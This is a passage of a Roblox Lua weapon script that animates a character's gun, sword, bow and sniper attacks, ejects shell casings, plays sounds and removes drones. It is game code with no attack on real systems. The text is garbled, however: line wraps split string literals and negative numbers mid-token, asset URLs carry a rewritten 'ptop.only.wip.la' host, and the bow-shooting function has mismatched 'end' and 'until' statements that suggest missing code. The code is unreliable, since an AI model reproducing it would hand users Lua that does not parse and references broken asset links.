wait(0.5)
gwld1.Part1=LeftArm
snwld1.C0=euler(0.5,0,0)*cf(0,1.6,-2)
snwld1.C1=cf(0,0,0)
for i=0,1,0.1 do
wait()
snwld1.C0=euler(0.5+1.57*i,0,0)*cf(0,1.6-0.6*i,-2+2*i)
RW.C0=cf(1, 0.3, -0.8+0.3*i) * euler(1.27-0.37*i,0,-1.3+1*i)
RW.C1=cf(0, 0.5, 0) * euler(0,-1+2.3*i,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(1.57-0.5*i,0,0.2+0.5*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
attack=false
end
function Shoot()
attack=true
Humanoid.WalkSpeed=2
Bg.Parent=Head
Bg.cframe=Head.CFrame
for i=0,1,0.2 do
wait()
Neck.C0=necko*euler(0,0,0.785*i)
RW.C0=cf(1.5, 0.5, 0) * euler(0,0,0.2)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(0.5+1.07*i,0,0.6-1.385*i)
LW.C1=cf(0, 0.5, 0) * euler(0,1.57-1.57*i,0)
end
spread=1
range=50
rangepower=70
while hold==true and Bullets~=0 do
for i=1,5 do
wait(0.05)
Bullets=Bullets-1
so("http://roblox.com/asset/?
id=10209257",gprt16,0.5,1+math.random())
coroutine.resume(coroutine.create(function()
for z = 1 ,2 do
coroutine.resume(coroutine.create(function()
local meshb1 = Instance.new("BlockMesh")
meshb1.Scale = Vector3.new(1,1,1)
light = Instance.new("PointLight")
light.Brightness = .8
light.Color = Color3.new(100,50,0)
light.Range = 10
local shellb1 = Instance.new("Part")
light.Parent = shellb1
meshb1.Parent = shellb1
shellb1.Anchored = true
shellb1.formFactor = 3
shellb1.Size = Vector3.new(0.3,0.3,0.3) *
(math.random(100,300)/100)
shellb1.CFrame =
CFrame.new((gprt16.CFrame * CFrame.new(0,-gprt16.Size.y/2,0)).p) *
CFrame.Angles(math.random(-100,100)/100,math.random(-100,100)/100,math.random(-
100,100)/100)
shellb1.Parent = Character
shellb1.Transparency = 0
if math.random(1,2) == 1 then
shellb1.BrickColor =
BrickColor.new("Bright red")
else
shellb1.BrickColor =
BrickColor.new("Bright orange")
end
shellb1.CanCollide = false
local incre = math.random(0,60)/100
for i = 0 , 1 , 0.1 do
wait()
light.Brightness = light.Brightness
- .1
shellb1.CFrame = shellb1.CFrame +
Head.CFrame.lookVector*incre
shellb1.Transparency = 1*i
meshb1.Scale =
Vector3.new(1+1*i,1+1*i,1+1*i)
end
shellb1.Parent=nil
end))
end
end))
shoottrail(MMouse.Hit.p,gprt16,5,1,1)
LW.C1=cf(0, 0.5, 0) * euler(-0.2,0,0)
wait(0.05)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
end
spread=0
range=500
rangepower=50
if Bullets==0 then
for i=0,1,0.2 do
wait(0)
gwld13.C0=cf(0,0,0.3)*euler(0,1.57-1.57*i,0)
end
wait(0.2)
Humanoid.WalkSpeed=16
Bg.Parent=nil
for i=0,1,0.1 do
wait()
gwld1.C0=euler(1.57+0.5,0,-1.57*i)*cf(0,1,0)
Neck.C0=necko*euler(0.3*i,0,0.785-0.785*i)
RW.C0=cf(1.5-0.5*i, 0.5, -0.5*i) * euler(1.2*i,0,0.2-0.4*i)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.2+0.2*i, 0.5, -0.3-0.2*i) * euler(1.57-
0.57*i,0,-0.785+0.785*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
for i=0,1,0.1 do
wait()
gwld20.C0=cf(0.3*i,-0.8-0.2*i,0)*euler(0,0,1.57*i)
RW.C0=cf(1, 0.5, -0.5) * euler(1.2-0.3*i,0,-0.2-0.1*i)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
for i=0,1,0.2 do
wait()
Neck.C0=necko*euler(0.3+0.2*i,0,-0.5*i)
RW.C0=cf(1+0.5*i, 0.5, -0.5+0.5*i) * euler(0.9-1.3*i,0,-
0.3)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
local ammo=Instance.new("Model")
ammo.Parent=modelzorz
ammo.Name="Ammo"
local aprt1=part(3,ammo,0,0,BrickColor.new("Dark stone
grey"),"Part1",vt(1,1,1))
local
amsh1=mesh("CylinderMesh",aprt1,"","",vt(0,0,0),vt(0.7,0.2,0.7))
local awld1=weld(aprt1,aprt1,RightArm,cf(0,1,0))
numb=0
for i=1,10 do
local aprt2=part(3,ammo,0,0,BrickColor.new("Bright
yellow"),"Part2",vt(1,1,1))
local
amsh2=mesh("CylinderMesh",aprt2,"","",vt(0,0,0),vt(0.2,0.3,0.2))
local
awld2=weld(aprt2,aprt2,aprt1,cf(0.2,0.1,0)*euler(0,numb,0))
numb=numb+0.628
end
for i=0,1,0.2 do
wait()
awld1.C0=euler(1.57,0,0)*cf(0,1+0.1*i,0)
Neck.C0=necko*euler(0.5-0.2*i,0,-0.5+0.5*i)
RW.C0=cf(1.5-0.5*i, 0.5, -0.5*i) * euler(-0.4+1.5*i,0,-0.3-
0.1*i)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
ammo.Parent=nil
for i=0,1,0.2 do
wait()
gwld20.C0=cf(0.3-0.3*i,-0.8-0.2+0.2*i,0)*euler(0,0,1.57-
1.57*i)
Neck.C0=necko*euler(0.3-0.1*i,0,-0.2*i)
RW.C0=cf(1.5-0.5, 0.5, -0.5) * euler(1.1+0.1*i,0,-
0.4+0.4*i)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
for i=0,1,0.1 do
wait()
gwld1.C0=euler(1.57+0.5,0,-1.57+1.57*i)*cf(0,1,0)
gwld13.C0=cf(0,0,0.3)*euler(0,1.57*i,0)
Neck.C0=necko*euler(0.2-0.2*i,0,-0.2+0.2*i)
RW.C0=cf(1.5-0.5+0.5*i, 0.5, -0.5+0.5*i) * euler(1.2-
1.2*i,0,0.2*i)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1-0.2*i, 0.5, -0.5+0.2*i) * euler(1-
0.5*i,0,0.6*i)
LW.C1=cf(0, 0.5, 0) * euler(0,1.57*i,0)
end
Bullets=10
else
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(0,0,0.785-0.785*i)
RW.C0=cf(1.5, 0.5, 0) * euler(0,0,0.2)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(1.57-1.57*i,0,-
0.785+1.385*i)
LW.C1=cf(0, 0.5, 0) * euler(0,1.57*i,0)
end
Neck.C0=necko
RW.C0=cf(1.5, 0.5, 0) * euler(0,0,0.2)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(0.5,0,0.6)
LW.C1=cf(0, 0.5, 0) * euler(0,1.57,0)
end
Bg.Parent=nil
Humanoid.WalkSpeed=16
attack=false
end
function slash1()
attack=true
for i=0,1,0.1 do
wait()
RW.C0=cf(1.5, 0.5, 0) * euler(0,0,0.2)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5, 0.5, 0) * euler(-0.4*i,0,-0.4-0.2*i)
LW.C1=cf(0, 0.5, 0) * euler(0,1*i,0)
end
Bg.Parent=Head
Bg.cframe=Head.CFrame
con1=sprt16.Touched:connect(function(hit) Damagefunc1(hit,20,10) end)
so("http://roblox.com/asset/?id=10209640",LeftArm,1,1)
for i=0,1,0.2 do
wait()
Neck.C0=necko*euler(0,0,0.785*i)
swld1.C0=euler(0.5*i,-1.57,-1.57)*cf(0,1,0)
RW.C0=cf(1.5, 0.5, 0) * euler(0,0,0.2)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5+0.5*i, 0.5, -0.5*i) * euler(-0.4+2.4*i,0,-
0.6+1.4*i)
LW.C1=cf(0, 0.5, 0) * euler(0,1,0)
end
for i=0,1,0.1 do
wait()
--[[Neck.C0=necko*euler(0,0,0.785*i)
swld1.C0=euler(0.5*i,-1.57,-1.57)*cf(0,1,0)]]
RW.C0=cf(1.5, 0.5, 0) * euler(0,0,0.2)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5+0.5, 0.5, -0.5) * euler(2,0,0.8+0.2*i)
LW.C1=cf(0, 0.5, 0) * euler(0,1,0)
end
con1:disconnect()
wait()
attack=false
end
function slash2()
attack=true
CF=Head.CFrame
con1=sprt16.Touched:connect(function(hit) Damagefunc1(hit,10,10) end)
so("http://roblox.com/asset/?id=10209640",LeftArm,1,1.5)
for i=0,1,0.2 do
wait()
swld1.C0=euler(0.5-0.5*i,-1.57,-1.57)*cf(0,1,0)
RW.C0=cf(1.5, 0.5, 0) * euler(0,0,0.2)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1-0.5*i, 0.5, -0.5+0.5*i) * euler(2-0.43*i,0,1-2.57*i)
LW.C1=cf(0, 0.5, 0) * euler(0,1+.57*i,0)
Bg.cframe=CF*euler(0,3.14*i,0)
end
so("http://roblox.com/asset/?id=10209640",LeftArm,1,1.5)
for i=0,1,0.2 do
wait()
swld1.C0=euler(-0.5*i,-1.57,-1.57)*cf(0,1,0)
Bg.cframe=CF*euler(0,3.14+3.14*i,0)
end
con1:disconnect()
wait()
attack=false
end
function slash3()
attack=true
Bg.Parent=nil
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(0,0,0.785-0.785*i)
swld1.C0=euler(-0.5+0.5*i,-1.57,-1.57)*cf(0,1,0)
RW.C0=cf(1.5, 0.5, 0) * euler(0,0,0.2)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5, 0.5, 0) * euler(1.57+.43*i,0,-1.57+1*i)
LW.C1=cf(0, 0.5, 0) * euler(0,1.57-2.07*i,0)
end
con1=sprt16.Touched:connect(function(hit) Damagefunc1(hit,20,10) end)
so("http://roblox.com/asset/?id=10209640",LeftArm,1,0.9)
for i=0,1,0.2 do
wait()
Neck.C0=necko*euler(0.3*i,0,-0.2*i)
swld1.C0=euler(-0.3*i,-1.57,-1.57)*cf(0,1,0)
RW.C0=cf(1.5, 0.5, 0) * euler(-0.5*i,0,0.2+0.2*i)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5+1.5*i, 0.5-0.2*i, -1*i) * euler(2-
1.5*i,0,-.57+1.07*i)
LW.C1=cf(0, 0.5, 0) * euler(0,-.5,0)
end
for i=0,1,0.1 do
wait()
RW.C0=cf(1.5, 0.5, 0) * euler(-0.5,0,0.4)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(0, 0.3, -1) * euler(.5-.2*i,0,.5)
LW.C1=cf(0, 0.5, 0) * euler(0,-.5,0)
end
con1:disconnect()
wait()
attack=false
end
function BowShoot()
attack=true
BowAim=true
HeadNumb=0
Humanoid.WalkSpeed=2
coroutine.resume(coroutine.create(function(FenNeck)
while BowAim==true do
wait()
local pos4 =
vt(workspace.CurrentCamera.CoordinateFrame.X,Head.Position.Y,workspace.CurrentCamer
a.CoordinateFrame.Z)
Bg.cframe = cf(Head.Position,pos4) * euler(0,3.14-
HeadNumb,0) * cf(0,0,0) --cf(Torso.Position,MMouse.Hit.p) *
Bg.Parent = Torso
offset=(Torso.Position.y-MMouse.Hit.p.y)/60
mag=(Torso.Position-MMouse.Hit.p).magnitude/80
offset=offset/mag
FenNeck.C1=necko2*euler(-offset,0,0)
end
end),Neck)
for i=0,1,0.1 do
wait()
HeadNumb=1.57*i
swld1.C0=euler(0,-1.57+0.3*i,-1.57)*cf(0,1,0)
Neck.C0=necko*euler(0,0,HeadNumb)
RW.C0=cf(1.5-2.5*i, 0.5, -1*i) * euler(1.57*i,0,0.2-1.97*i)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5, 0.5, 0) * euler(1.57*i,0,-0.4-0.87*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
local string1=part(3,sword,0,1,BrickColor.new("Bright
yellow"),"String1",vt(0.5,1,0.5))
local
stringmsh1=mesh("CylinderMesh",string1,"","",vt(0,0,0),vt(0.1,1,0.1))
local stringwld1=weld(string1,string1,prt17,euler(0,0,0)*cf(0,0,0))
local string2=part(3,sword,0,1,BrickColor.new("Bright
yellow"),"String2",vt(0.5,1,0.5))
local
stringmsh2=mesh("CylinderMesh",string2,"","",vt(0,0,0),vt(0.1,1,0.1))
local stringwld2=weld(string2,string2,prt19,euler(0,0,0)*cf(0,0,0))
table.insert(SwordWelds,stringwld1)
table.insert(SwordWelds,stringwld1)
coroutine.resume(coroutine.create(function(String1,String2)
for i=0,1,0.1 do
wait()
String1.Transparency=String1.Transparency-0.05
String2.Transparency=String2.Transparency-0.05
end
end),string1,string2)
Lightning(sprt17.Position,sprt18.Position,3,0.2,"Bright yellow",0.00001,0.4)
Lightning(sprt19.Position,sprt18.Position,3,0.2,"Bright yellow",0.00001,0.4)
arrowdebounce=true
wait(0.1)
arrowdebounce=false
end
end))
local top = sprt17.CFrame
local bottom = sprt19.CFrame
local oristrpos
if strmdl == "Bow" then
oristrpos = CFrame.new((top.p+bottom.p)/2)
elseif strmdl == "Arrow" then
oristrpos = sprt18.CFrame
end
local mg1 = (top.p - oristrpos.p).magnitude
local mg2 = (bottom.p - oristrpos.p).magnitude
stringmsh1.Scale=vt(0.1,mg1,0.1)
basecf=sprt17.CFrame
cff=CFrame.new(sprt17.CFrame*angles(1.57,0,0).p,sprt18.Position)*angles(math.rad(90
),0,0)*cf(0,-mg1/2,0)
hit2=string1
hit=sprt18
stringwld1.Parent=string1
stringwld1.Part0=hit2
stringwld1.Part1=hit
HitPos=cff.p
local CJ = CFrame.new(HitPos)
local C0=cff:inverse() *CJ
local C1=hit.CFrame:inverse() * CJ
stringwld1.C0=C0
stringwld1.C1=C1
stringmsh2.Scale=vt(0.1,mg2,0.1)
cff2=CFrame.new(sprt18.CFrame*angles(1.57,0,0).p,sprt19.Position)*angles(math.rad(9
0),0,0)*cf(0,-mg2/2,0)
hit3=string2
hit2=sprt18
stringwld2.Parent=string2
stringwld2.Part0=hit3
stringwld2.Part1=hit2
HitPos2=cff2.p
local CJ2 = CFrame.new(HitPos2)
local C02=cff2:inverse() *CJ
local C12=hit2.CFrame:inverse() * CJ
stringwld2.C0=C02
stringwld2.C1=C12
until string1.Parent==nil
end))
swld18.Part1=RightArm
swld18.C0=cf(0,1,0)
local arrow=part(3,sword,0,1,BrickColor.new("Bright
yellow"),"Arrow",vt(1,1,1))
local
arrowmsh=mesh("SpecialMesh",arrow,"FileMesh","http://www.roblox.com/asset/?
id=15887356",vt(0,0,0),vt(1,1,2))
arrowmsh.VertexColor=vt(1,1,1)
local arrowwld=weld(arrow,arrow,sprt18,euler(-1.57,0,0)*cf(0,1,0))
for i=0,1,0.1 do
wait()
arrow.Transparency=arrow.Transparency-0.05
arrowwld.C0=euler(-1.57,0,0)*cf(0,1,0)*euler(0,0,0.15*i)
RW.C0=cf(1.5-2.5+2*i, 0.5, -1) * euler(1.57,0,-1.77+0.2*i)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5, 0.5, 0) * euler(1.57,0,-1.27)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
while BowAim==true do
wait(0)
end
so("http://www.roblox.com/asset/?id=16211041",prt18,1,1)
spread=0
range=500
rangepower=100
shoottrail(MMouse.Hit.p,arrow,30,10,2)
Humanoid.WalkSpeed=0
arrow.Parent=nil
swld18.Part0=sprt18
swld18.Part1=sprt1
swld18.C0=cf(0,0,-0.8)
for i=0,1,0.2 do
wait()
Neck.C0=necko*euler(-0.2*i,0,HeadNumb)
RW.C0=cf(1, 0.5, -1) * euler(1.57,0,-1.57)
RW.C1=cf(0, 0.5, 0) * euler(-0.4*i,0,0)
LW.C0=cf(-1.5, 0.5, 0) * euler(1.57,0,-1.27)
LW.C1=cf(0, 0.5, 0) * euler(-0.4*i,0,0)
end
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(-0.2-0.1*i,0,HeadNumb)
RW.C0=cf(1, 0.5, -1) * euler(1.57,0,-1.57)
RW.C1=cf(0, 0.5, 0) * euler(-0.4-0.1*i,0,0)
LW.C0=cf(-1.5, 0.5, 0) * euler(1.57,0,-1.27)
LW.C1=cf(0, 0.5, 0) * euler(-0.4-0.1*i,0,0)
end
string1.Parent=nil
string2.Parent=nil
BowAim=false
Humanoid.WalkSpeed=16
Bg.Parent=nil
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(-0.3+0.3*i,0,HeadNumb-HeadNumb*i)
RW.C0=cf(1+0.5*i, 0.5, -1+1*i) * euler(1.57-1.57*i,0,-
1.57+1.77*i)
RW.C1=cf(0, 0.5, 0) * euler(-0.5+0.5*i,0,0)
LW.C0=cf(-1.5, 0.5, 0) * euler(1.57-1.57*i,0,-1.27+1.07*i)
LW.C1=cf(0, 0.5, 0) * euler(-0.5+0.5*i,0,0)
end
spread=0
range=500
rangepower=50
Neck.C1=necko2
Neck.C0=necko
attack=false
end
function Aim()
attack=true
Humanoid.WalkSpeed=5
Bg.Parent=Torso
Bg.cframe=Head.CFrame
CF=Torso.CFrame
for i=0,1,0.1 do
wait()
Bg.cframe=CF*euler(0,0.785*i,0)
Neck.C0=necko*euler(0,0,-0.785*i)
Neck.C1=necko2*euler(0,-0.5*i,0)
RW.C0=cf(1+0.2*i, 0.3, -0.5-0.2*i) * euler(0.9+0.6*i,0,-
0.3+0.1*i)
RW.C1=cf(0, 0.5, 0) * euler(0,1.3+0.27*i,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(1.07+0.5*i,0,0.7+0.085*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
attack=false
end
function UnAim()
attack=true
Humanoid.WalkSpeed=16
for i=0,1,0.1 do
wait()
Bg.cframe=CF*euler(0,0.785-0.785*i,0)
Neck.C0=necko*euler(0,0,-0.785+0.785*i)
Neck.C1=necko2*euler(0,-0.5+0.5*i,0)
RW.C0=cf(1.2-0.2*i, 0.3, -0.7+0.2*i) * euler(1.5-0.6*i,0,-0.2-
0.1*i)
RW.C1=cf(0, 0.5, 0) * euler(0,1.57-0.27*i,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(1.57-0.5*i,0,0.785-0.085*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
Bg.Parent=nil
attack=false
end
function SniperShoot()
attack=true
spread=0
range=1000
rangepower=100
shoottrail(MMouse.Hit.p,snprt15,20,20,0.5)
coroutine.resume(coroutine.create(function()
for z = 1 ,4 do
coroutine.resume(coroutine.create(function()
local meshb1 = Instance.new("BlockMesh")
meshb1.Scale = Vector3.new(1,1,1)
light = Instance.new("PointLight")
light.Brightness = .8
light.Color = Color3.new(100,50,0)
light.Range = 10
local shellb1 = Instance.new("Part")
light.Parent = shellb1
meshb1.Parent = shellb1
shellb1.Anchored = true
shellb1.formFactor = 3
shellb1.Size = Vector3.new(0.3,0.3,0.3) *
(math.random(100,300)/100)
shellb1.CFrame = CFrame.new((snprt15.CFrame *
CFrame.new(0,-snprt15.Size.y/2,0)).p) *
CFrame.Angles(math.random(-100,100)/100,math.random(-100,100)/100,math.random(-
100,100)/100)
shellb1.Parent = Character
shellb1.Transparency = 0
if math.random(1,2) == 1 then
shellb1.BrickColor = BrickColor.new("Bright
red")
else
shellb1.BrickColor = BrickColor.new("Bright
orange")
end
shellb1.CanCollide = false
local incre = math.random(0,60)/100
HCF=Head.CFrame.lookVector
for i = 0 , 1 , 0.02 do
wait()
light.Brightness = light.Brightness - .02
shellb1.CFrame = shellb1.CFrame + HCF*incre
shellb1.Transparency = 1*i
meshb1.Scale = Vector3.new(1+1*i,1+1*i,1+1*i)
end
shellb1.Parent=nil
end))
end
end))
so("http://roblox.com/asset/?id=10209875",snprt15,1,0.8)
for i=0,1,0.3 do
wait()
Neck.C0=necko*euler(-0.3*i,0,-0.785)
RW.C0=cf(1.2, 0.3, -0.7) * euler(1.5+0.3*i,0,-0.2)
RW.C1=cf(0, 0.5, 0) * euler(0,1.57,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(1.57,0,0.785)
LW.C1=cf(0, 0.5, 0) * euler(-0.3*i,0,0)
end
for i=0,1,0.2 do
wait()
Neck.C0=necko*euler(-0.3-0.1*i,0,-0.785)
RW.C0=cf(1.2, 0.3, -0.7) * euler(1.5+0.3+0.1*i,0,-0.2)
RW.C1=cf(0, 0.5, 0) * euler(0,1.57,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(1.57,0,0.785)
LW.C1=cf(0, 0.5, 0) * euler(-0.3-0.1*i,0,0)
end
Humanoid.WalkSpeed=16
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(-0.4+0.6*i,0,-0.785+0.785*i)
Neck.C1=necko2*euler(0,-0.5+0.5*i,0)
RW.C0=cf(1.2, 0.3, -0.7) * euler(1.9-0.6*i,0,-0.2-0.4*i)
RW.C1=cf(0, 0.5, 0) * euler(0,1.57,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(1.57,0,0.785-0.185*i)
LW.C1=cf(0, 0.5, 0) * euler(-0.4+0.8*i,0,0)
end
so("http://roblox.com/asset/?id=10209881",snprt15,1,1)
local ammo=part(3,workspace,0,0,BrickColor.new("Bright
yellow"),"Ammo",vt(1,1,1))
ammo.CanCollide=true
ammomsh=mesh("CylinderMesh",ammo,"","",vt(0,0,0),vt(0.15,0.2,0.15))
local cfrf = snprt25.CFrame * CFrame.fromEulerAnglesXYZ(0,1.57,0)
local cfr = cfrf + cfrf.lookVector * -0.5
ammo.CFrame = cfr
ammo.RotVelocity = Vector3.new(math.random(-5,5),math.random(-
5,5),math.random(-5,5))
ammo.Velocity = cfr.lookVector * 20
coroutine.resume(coroutine.create(function(Part)
wait(10)
Part.Parent=nil
end),ammo)
for i=0,1,0.2 do
wait()
snwld26.C1=euler(0,0,1*i)
RW.C0=cf(1.2, 0.3, -0.7-0.4*i) * euler(1.3,0,-0.6+0.3*i)
RW.C1=cf(0, 0.5, 0) * euler(0,1.57,0)
end
for i=0,1,0.2 do
wait()
snwld26.C1=euler(0,0,1-1*i)
RW.C0=cf(1.2, 0.3, -0.7-0.4+0.4*i) * euler(1.3,0,-0.6+0.3-0.3*i)
RW.C1=cf(0, 0.5, 0) * euler(0,1.57,0)
end
Humanoid.WalkSpeed=5
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(0.2-0.2*i,0,-0.785*i)
Neck.C1=necko2*euler(0,-0.5*i,0)
RW.C0=cf(1.2, 0.3, -0.7) * euler(1.3+0.2*i,0,-0.6+0.4*i)
RW.C1=cf(0, 0.5, 0) * euler(0,1.57,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(1.57,0,0.6+0.185*i)
LW.C1=cf(0, 0.5, 0) * euler(0.4-0.4*i,0,0)
end
spread=0
range=500
rangepower=50
attack=false
end
function RemoveDrones()
attack=true
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(-0.5*i,0,0)
RW.C0=cf(1.5, 0.5, 0) * euler(0.5+2.64*i,0,0)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5, 0.5, 0) * euler(0,0,-0.2)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
for _,v in pairs(modelzorz:children()) do
if v.Name=="Drone" then
print("FoundDrone")
for _,s in pairs(v:children()) do
if s.className=="Part" then
s.Anchored=true
coroutine.resume(coroutine.create(function(Part,Model)
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency+0.1
end
wait()
Model.Parent=nil
end),s,v)
end
end
end
end
wait(1)
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(-0.5+0.5*i,0,0)
RW.C0=cf(1.5, 0.5, 0) * euler(3.14-3.14*i,0,0)
RW.C1=cf(0, 0.5, 0) * euler(0,0,0)
LW.C0=cf(-1.5, 0.5, 0) * euler(0,0,-0.2+0.2*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
attack=false
end
function RemoveDrones2()
attack=true
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(-0.3-0.3*i,0,-0.3+0.3*i)
RW.C0=cf(1, 0.3, -0.8) * euler(1.57-0.4*i,0,-0.7)
RW.C1=cf(0, 0.5, 0) * euler(0,-1.5,0)
LW.C0=cf(-1.2-0.3*i, 0.5, -0.3+0.3*i) * euler(2.3+0.84*i,0,0.7-
0.7*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
for _,v in pairs(modelzorz:children()) do
if v.Name=="Drone" then
print("FoundDrone")
for _,s in pairs(v:children()) do
if s.className=="Part" then
s.Anchored=true
coroutine.resume(coroutine.create(function(Part,Model)
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency+0.1
end
wait()
Model.Parent=nil
end),s,v)
end
end
end
end
wait(1)
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(-0.6+0.3*i,0,-0.3*i)
RW.C0=cf(1, 0.3, -0.8) * euler(1.17+0.4*i,0,-0.7)
RW.C1=cf(0, 0.5, 0) * euler(0,-1.5,0)
LW.C0=cf(-1.5+0.3*i, 0.5, -0.3*i) * euler(3.14-0.84*i,0,0.7*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
attack=false
end
function RemoveGun()
attack=true
for i=0,1,0.1 do
wait()
RW.C0=cf(1.5-0.5*i, 0.5-0.2*i, -0.8*i) * euler(1.27*i,0,0.2-
1.5*i)
RW.C1=cf(0, 0.5, 0) * euler(0,-1*i,0)
LW.C0=cf(-1.2-0.3*i, 0.5, -0.3+0.2*i) * euler(0.5+1.07*i,0,0.6-
0.6*i)
LW.C1=cf(0, 0.5, 0) * euler(0,1.57,0)
end
for _,s in pairs(gun:children()) do
if s.className=="Part" then
coroutine.resume(coroutine.create(function(Part,Model)
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency+0.1
end
wait()
Model.Parent=nil
end),s,gun)
end
end
wait(0.7)
for i=0,1,0.1 do
wait()
RW.C0=cf(1+0.5*i, 0.3+0.2*i, -0.8+0.8*i) * euler(1.27-1.27*i,0,-
1.3+1.3*i)
RW.C1=cf(0, 0.5, 0) * euler(0,-1+1*i,0)
LW.C0=cf(-1.5, 0.5, -0.1+0.1*i) * euler(1.57-1.57*i,0,0)
LW.C1=cf(0, 0.5, 0) * euler(0,1.57-1.57*i,0)
end
attack=false
end
function RemoveSword()
attack=true
for i=0,1,0.1 do
wait()
RW.C0=cf(1.5-0.5*i, 0.5-0.2*i, -0.8*i) * euler(1.27*i,0,0.2-
1.5*i)
RW.C1=cf(0, 0.5, 0) * euler(0,-1*i,0)
LW.C0=cf(-1.5, 0.5, -0.1*i) * euler(1.57*i,0,-0.4+0.4*i)
LW.C1=cf(0, 0.5, 0) * euler(0,1.57*i,0)
end
for _,s in pairs(sword:children()) do
if s.className=="Part" then
coroutine.resume(coroutine.create(function(Part,Model)
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency+0.1
end
wait()
Model.Parent=nil
end),s,sword)
end
end
wait(0.7)
for i=0,1,0.1 do
wait()
RW.C0=cf(1+0.5*i, 0.3+0.2*i, -0.8+0.8*i) * euler(1.27-1.27*i,0,-
1.3+1.3*i)
RW.C1=cf(0, 0.5, 0) * euler(0,-1+1*i,0)
LW.C0=cf(-1.5, 0.5, -0.1+0.1*i) * euler(1.57-1.57*i,0,0)
LW.C1=cf(0, 0.5, 0) * euler(0,1.57-1.57*i,0)
end
attack=false
end
function RemoveSniper()
attack=true
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(0.4*i,0,0)
snwld1.C0=euler(2.07+0.3*i,0,0)*cf(0,1,0)
RW.C0=cf(1, 0.3, -0.5-0.3*i) * euler(0.9+0.37*i,0,-0.3-1*i)
RW.C1=cf(0, 0.5, 0) * euler(0,1.3-1*i,0)
LW.C0=cf(-1.2, 0.5, -0.3) * euler(1.07,0,0.7-0.2*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
for _,s in pairs(sniper:children()) do
if s.className=="Part" then
coroutine.resume(coroutine.create(function(Part,Model)
for i=0,1,0.1 do
wait(0)
Part.Transparency=Part.Transparency+0.1
end
wait()
Model.Parent=nil
end),s,sniper)
end
end
wait(0.7)
for i=0,1,0.1 do
wait()
Neck.C0=necko*euler(0.4-0.4*i,0,0)
RW.C0=cf(1+0.5*i, 0.3, -0.8+0.8*i) * euler(1.27-1.27*i,0,-
1.3+1.3*i)
RW.C1=cf(0, 0.5, 0) * euler(0,0.3-0.3*i,0)
LW.C0=cf(-1.2-0.3*i, 0.5, -0.3+0.3*i) * euler(1.07-1.07*i,0,0.5-
0.5*i)
LW.C1=cf(0, 0.5, 0) * euler(0,0,0)
end
attack=false
end
function Lightning(p0,p1,tym,ofs,col,th,tra)
local magz = (p0 - p1).magnitude local curpos = p0 local trz = {-
ofs,ofs}
for i=1,tym do
local li = Instance.new("Part",workspace) li.TopSurface =0
li.BottomSurface = 0 li.Anchored = true li.Transparency = tra or 0.4 li.BrickColor
= BrickColor.new(col)
li.formFactor = "Custom" li.CanCollide = false li.Size =
Vector3.new(th,th,magz/tym) local ofz =
